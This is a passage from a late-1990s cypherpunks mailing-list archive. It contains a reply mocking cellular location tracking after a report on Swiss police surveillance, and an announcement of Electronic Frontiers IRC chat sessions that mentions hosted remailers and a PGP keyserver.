Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKscEI9Co1n+aLhhAQH+pQP9GpdVlsjHpiMus6MKBru1or/lwk4ImRXx
5S8RkKigRdrKTBAkAB+imYKCvlye2BudZaT7fDz1EzIvFMlU7G8RNql88nAgjXQm
WQUSwKX+H0ADoXw4FQbT6/HN55Z6i2/CbOf42Z7YeV9Y3UovNM3Vmw1BmWcfa91l
7AGc8eIY+oo=
=yyIX
-----END PGP SIGNATURE-----






From dm0 at avana.net  Wed Dec 31 21:26:17 1997
From: dm0 at avana.net (David Miller)
Date: Thu, 1 Jan 1998 13:26:17 +0800
Subject: Location Escrow anyone ?
In-Reply-To: <199801010433.XAA16928@users.invweb.net>
Message-ID: <34AB3639.296E74E9@avana.net>



William H. Geiger III wrote:
> 
>>ZURICH (December 28, 1997 4:12 p.m. EST http://www.nando.net) - Swiss
>>police have secretly tracked the whereabouts of mobile phone users via a
>>telephone company computer that records billions of movements going back
>>more than half a year, a Sunday newspaper reported.
> 
> Don't be fooled that this is a swiss only problem. It's being done here
> in Amerika right now.

You betcha.  A couple of years ago, there was a _tremendous_ need for
programmers to produce "cellular accounting/billing" software in Atlanta
in preparation for the Olympics.  However, apparently the Olympic Park
bomber was not carrying a cellular at the time, so alas, another crime
has gone unsolved...  

Gee, I wonder which carrier Ted Kaczynski will be doing wireless
endorsements for?

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.






From pooh at efga.org  Wed Dec 31 23:17:10 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 1 Jan 1998 15:17:10 +0800
Subject: IRC Internet chat with Electronic Frontiers
Message-ID: <3.0.3.32.19980101021332.0369ef2c@rboc.net>



I sent this message to the cypherpunks list (cyberpass) about 12 hours ago,
but have not seen it come up, so I'm sending it again.  My apologies if you
get two copies.  (this copy does have more listed at the bottom in the
schedule.)

There will be a series of IRC internet chats with Electronic Frontiers.  We
wish to address two main problems.  The Electronic Frontiers movement is
misunderstood by a lot of people, and there is not enough communication
between the independent EF organizations.

The idea was sparked by the recent Cypherpunks Christmas Eve chat.  Thanks
for the idea.  The members of the cypherpunks mail list are invited to our
upcoming internet chats.  Dates and info are below.  

The Electronic Frontiers movement is several independent organizations that
share a common thread to their name.  Each group speaks for themselves and
are not associated with each other.  The various EF organizations have no
association with the group called EFF.  We are grassroots organizations of
concerned citizens of our geographic areas, volunteering our time and
energy.  EF organizations exist in several US states and in different
countries around the world.  EF organizations have been responsible for
activities such as winning court cases like the Georgia Internet Anonymity
and web linking lawsuit, and the anti-spoofing spam lawsuit in Texas
(flowers.com).

Of particular interest to Cypherpunks is the fact that EFGA hosts a variety
of cypherpunk technologies, including a Cypherpunk Type-1 remailer,
nymserver, and mixmaster remailer.  We also have a PGP keyserver.  Recently
we created an FTP archive of privacy software.  So far this has been front
ends for remailers and PGP software that various software authors have sent
us to host.

All you need is an IRC client, and to log onto EFnet.  If you have
questions on how to do this, ask the list.  I'm a newbie with IRC and can't
help that much.  The first chat is Thursday, tomorrow, New Years day at
7:00 pm New York time.

-------------

There will be an IRC internet chat session for Electronic Frontiers.  More
info can be found at http://www.efga.org/about/meeting.html

Get out your IRC client and visit us on EFnet IRC in the
#ElectronicFrontiers channel.  There will be a chat session on 

  * Thursday, January 1, 1998 at 7:00pm EST 
    hosted by Robert Costner of Electronic Frontiers Georgia.

  * Saturday, January 3, 1998 at 3:00pm EST
    hosted by Scott Brower of Electronic Frontiers Florida.

  * Wednesday, January 7, 1998 at 5:00 EST (2:00pm Pacific)
    hosted by Jon Lebkowsky of EF-Texas

  * To be announced
    hosted by Electronic Frontiers Australia (EFA)

These will be our first chat sessions.  After we see how this goes, we will
try to setup something on a regular basis.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key